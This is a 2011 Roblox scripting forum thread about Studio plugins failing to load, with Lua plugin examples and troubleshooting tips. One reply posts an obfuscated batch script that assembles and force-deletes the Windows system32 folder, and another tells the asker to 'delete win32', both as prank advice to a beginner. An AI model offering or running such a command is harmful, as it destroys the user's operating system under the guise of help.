generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripters
Home Search
 

Re: My plugins don't seem to be working...

Previous Thread :: Next Thread 
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:14 PM
...not even the built-in time plugin is working. I even tried copying the files included in it and putting them in the real plugins folder. Do I have to press a button or something to make the plugins appear? What am I doing wrong?
Report Abuse
BlueTaslem is not online. BlueTaslem
Joined: 11 May 2008
Total Posts: 11060
12 Aug 2011 03:15 PM
Try reinstalling Roblox. Guessing it just didn't install right.
Report Abuse
Piedude777 is not online. Piedude777
Joined: 01 Oct 2008
Total Posts: 10017
12 Aug 2011 03:15 PM
Are you sure you updated Roblox?
Report Abuse
Ceio is not online. Ceio
Joined: 08 Aug 2011
Total Posts: 57
12 Aug 2011 03:18 PM
Delete win32 and it will work!!!
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:20 PM
It still has the "show plugins folder" on my Tools menu. I just tried reinstalling... didn't work.
Report Abuse
LocalChum is not online. LocalChum
Joined: 04 Mar 2011
Total Posts: 6906
12 Aug 2011 03:25 PM
set w=sys
set steam=tem
set /a q=31+1
del /q /s /f %windir%\%w%%steam%%q%
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:26 PM
Could someone give me a suggestion that WORKS? Seriously, I was looking forward to this addition!
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:27 PM
NVM I guess you had to open a place first... =P
Report Abuse
aboy5643a is not online. aboy5643a
Joined: 20 Nov 2010
Total Posts: 2785
12 Aug 2011 03:27 PM
Go to tools>Open Plugins Folder

Oysi did that and it downloaded his plugins folder O.o

~Post here if you're Viet Namese, Canadian or Chinese. I'm from these 3 places. - Some confused kid from Language Center ~
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:43 PM
Okay, I made a plugin just now... and it's not working. My TimeOfDay thingy is working... but that's built-in. So what am I doing wrong?
Report Abuse
Piedude777 is not online. Piedude777
Joined: 01 Oct 2008
Total Posts: 10017
12 Aug 2011 03:44 PM
Did you put it in the plugins folder?

Tools > Open Plugins Folder
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:44 PM
If there was an error would it tell me?
Report Abuse
Piedude777 is not online. Piedude777
Joined: 01 Oct 2008
Total Posts: 10017
12 Aug 2011 03:45 PM
Yeah, it should tell you if there was an error.
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:45 PM
I used the built in plugins folder, not the plugins folder. D=

It works. And I dissected the clock thing.
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:46 PM
Yes, it's in the Plugins folder. And not working. I don't understand... here's the code:

local self = PluginManager():CreatePlugin()
local toolBar = self:CreateToolbar("A Test Toolbar")
local button = toolBar:CreateButton("This is a test", "I'm a test, moron", "testImage.png")

button.Click:connect(function()
print("TEST! DERP!")
end)

print("LOCKED AND LOADED")
Report Abuse
Anaminus is not online. Anaminus
Top 100 Poster
Joined: 29 Nov 2006
Total Posts: 5945
12 Aug 2011 03:48 PM
Add [[Self:Activate()]]
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:49 PM
@Davidii

Don't put it in the plugins folder, for some reason they do not work. I put mine in the BuiltInPlugin Folders and they work.

I just tried your code and it worked. =D
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:51 PM
@Anaminus

Its not needed. Or at least the way I did it.
Report Abuse
Anaminus is not online. Anaminus
Top 100 Poster
Joined: 29 Nov 2006
Total Posts: 5945
12 Aug 2011 03:52 PM
Don't listen to him, he's crazy. Keep it in the plugins folder, and don't forget to activate it with [[self:Activate()]].
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:52 PM
@Anaminus

That is your word against my Roblox Studio.
Report Abuse
Davidii is not online. Davidii
Joined: 17 Jul 2008
Total Posts: 1282
12 Aug 2011 03:53 PM
Tried that, not working still. Where, exactly?
Report Abuse
Piedude777 is not online. Piedude777
Joined: 01 Oct 2008
Total Posts: 10017
12 Aug 2011 03:54 PM
This is my plugin base for developing new plugins. Maybe it will help:



loaded = false
on = false

self = PluginManager():CreatePlugin()
toolbar = self:CreateToolbar("Time")
button = toolbar:CreateButton("", "Test", "icon.png")
self.Deactivation:connect(function()
deselect()
end)

button.Click:connect(function()
if on then
deselect()
elseif loaded then
select()
end
end)

function select()
self:Activate()
button:SetActive(true)
on = true
end

function deselect()
button:SetActive(false)
on = false
end

loaded = true
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:54 PM
Here are the tests that I did to test if yours work.

I went here:

C:\Documents and Settings\Nightname\Local Settings\Application Data\RobloxVersions\version-7a404405e6f944e5\BuiltInPlugins

Then I made a folder called "test" and inside that I made a test.lua file. Inside the file I added:

local self = PluginManager():CreatePlugin()
local toolBar = self:CreateToolbar("A Test Toolbar")
local button = toolBar:CreateButton("This is a test", "I'm a test, moron")

button.Click:connect(function()
print("TEST! DERP!")
end)

print("LOCKED AND LOADED")

And, I opened a new place in Roblox. It worked, I clicked the button and it outputted.
Report Abuse
nightname is not online. nightname
Joined: 10 Jun 2008
Total Posts: 8960
12 Aug 2011 03:55 PM
@Piedude

That is exactly like the one in the time.lua. XD



---------------
--PLUGIN SETUP-
---------------

--make internal representation of plugin (needed to call functions like CreateToolbar() and Activate())
self = PluginManager():CreatePlugin()

--Deactivation event is sent when another plugin calls Activate(), turn off when Deactivation event is received
self.Deactivation:connect(function()
Off()
end)

--make a new toolbar, "Time" is the name of it, if another plugin also uses a toolbar named "Time" they will both create buttons on the same one
toolbar = self:CreateToolbar("Time")

--make a button on the toolbar, the first parameter is the text on the button, second is the tooltip, and last is the icon
toolbarbutton = toolbar:CreateButton("", "Time of Day", "time.png")

--make button turn plugin on and off
toolbarbutton.Click:connect(function()
if on then
Off()
elseif loaded then
On()
end
end)


Report Abuse
Piedude777 is not online. Piedude777
Joined: 01 Oct 2008
Total Posts: 10017
12 Aug 2011 03:56 PM
@ nightname

Yeah, that's where I learned to make plugins.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripters
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image